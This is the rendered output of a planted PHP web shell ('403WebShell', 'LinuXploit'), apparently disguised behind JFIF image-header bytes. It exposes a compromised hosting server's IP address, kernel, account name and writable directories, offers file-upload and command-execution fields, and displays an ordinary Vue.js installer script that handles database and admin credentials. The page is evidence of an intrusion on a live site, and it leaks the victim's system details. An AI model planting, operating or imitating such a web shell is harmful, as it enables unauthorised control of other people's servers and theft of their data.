����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.191.91.228
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/public_html/public/install_files/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/public_html/public/install_files/js/app.js
var app = new Vue({
    el: '#app',
    created: function() {
        this.$vuetify.theme.primary = '#1565c0';
    },
    data: function() {
        return {
            errorMessage: null,
            loading: false,

            currentStep: 1,
            steps: {
                introduction: {
                    number: 1,
                    completed: true

                },
                requirements: {
                    number: 2,
                    completed: false,
                    data: {}
                },
                filesystem: {
                    number: 3,
                    completed: false,
                    data: {}
                },
                database: {
                    number: 4,
                    completed: false
                },
                admin: {
                    number: 5,
                    completed: false
                },
                final: {
                    number: 6,
                    completed: false
                }
            },

            databaseForm: {
                db_host: 'localhost',
                db_database: '',
                db_username: 'root',
                db_password: '',
                db_prefix: ''
            },

            adminForm: {
                username: '',
                email: '',
                password: '',
                password_confirmation: ''
            }
        }
    },
    computed: {

        canGoToNextStep: function() {
            var vue = this;
            var key = Object.keys(this.steps).find(function(key) {
                return vue.steps[key].number === vue.currentStep;
            });
            return !this.loading && this.steps[key] && this.steps[key].completed;
        }
    },
    watch: {
        currentStep: function(stepNumber, oldStep) {
            if (stepNumber === this.steps.requirements.number) {
                this.checkRequirements();
            } else if (stepNumber === this.steps.filesystem.number) {
                this.checkFilesystem();
            }

        }
    },
    methods: {
        nextStep: function() {
            this.currentStep = this.currentStep + 1;
        },

        checkRequirements: function(nextStep) {
            var vue = this;
            this.callBackend('onCheckRequirements').then(function(response) {
                if ( ! response) return;
                vue.steps.requirements.data = response.data;
                vue.steps.requirements.completed = vue.noIssues(response.data);
                if (nextStep && vue.steps.filesystem.completed) {
                    vue.nextStep();
                }
            });
        },

        checkFilesystem: function(nextStep) {
            var vue = this;
            this.callBackend('onCheckFileSystem').then(function(response) {
                if ( ! response) return;
                vue.steps.filesystem.data = response.data;
                vue.steps.filesystem.completed = vue.noIssues(response.data);
                if (nextStep && vue.steps.filesystem.completed) {
                    vue.nextStep();
                }
            });
        },

        validateAndInsertDatabaseCredentials: function() {
            var vue = this;
            this.callBackend('onValidateAndInsertDatabaseCredentials', this.databaseForm).then(function() {
                if ( ! vue.errorMessage) {
                    vue.steps.database.completed = true;
                    vue.nextStep();
                }
            });
        },

        validateAdminCredentials: function() {
            var vue = this;
            this.callBackend('onValidateAdminCredentials').then(function() {
                if ( ! vue.errorMessage) {
                    vue.steps.admin.completed = true;
                    vue.nextStep();
                }
            });
        },

        installApplication: function() {
            var vue = this;
            this.callBackend('onInstallApplication', vue.adminForm).then(function() {
                if ( ! vue.errorMessage) {
                    vue.steps.final.completed = true;
                }
            });
        },

        noIssues: function(results) {
            return !Object.keys(results).some(function(key) {
                return !results[key].result;
            });
        },

        callBackend: function(handler, params) {
            this.loading = true;

            var vue = this;
            var data = new FormData();
            data.set('handler', handler);

            if (params) {
                Object.keys(params).forEach(function(key) {
                    data.set(key, params[key]);
                });
            }

            return axios({
                method: 'post',
                url: window.location.pathname,
                data: data,
                config: { headers: {'Content-Type': 'multipart/form-data' }}
            }).then(function (response) {
                vue.loading = false;
                vue.errorMessage = null;
                return response;
            }).catch(function (error) {
                vue.loading = false;
                vue.errorMessage = error.response.data || 'An unspecified error occurred';
                return false;
            });
        }
    }
});

Youez - 2016 - github.com/yon3zu
LinuXploit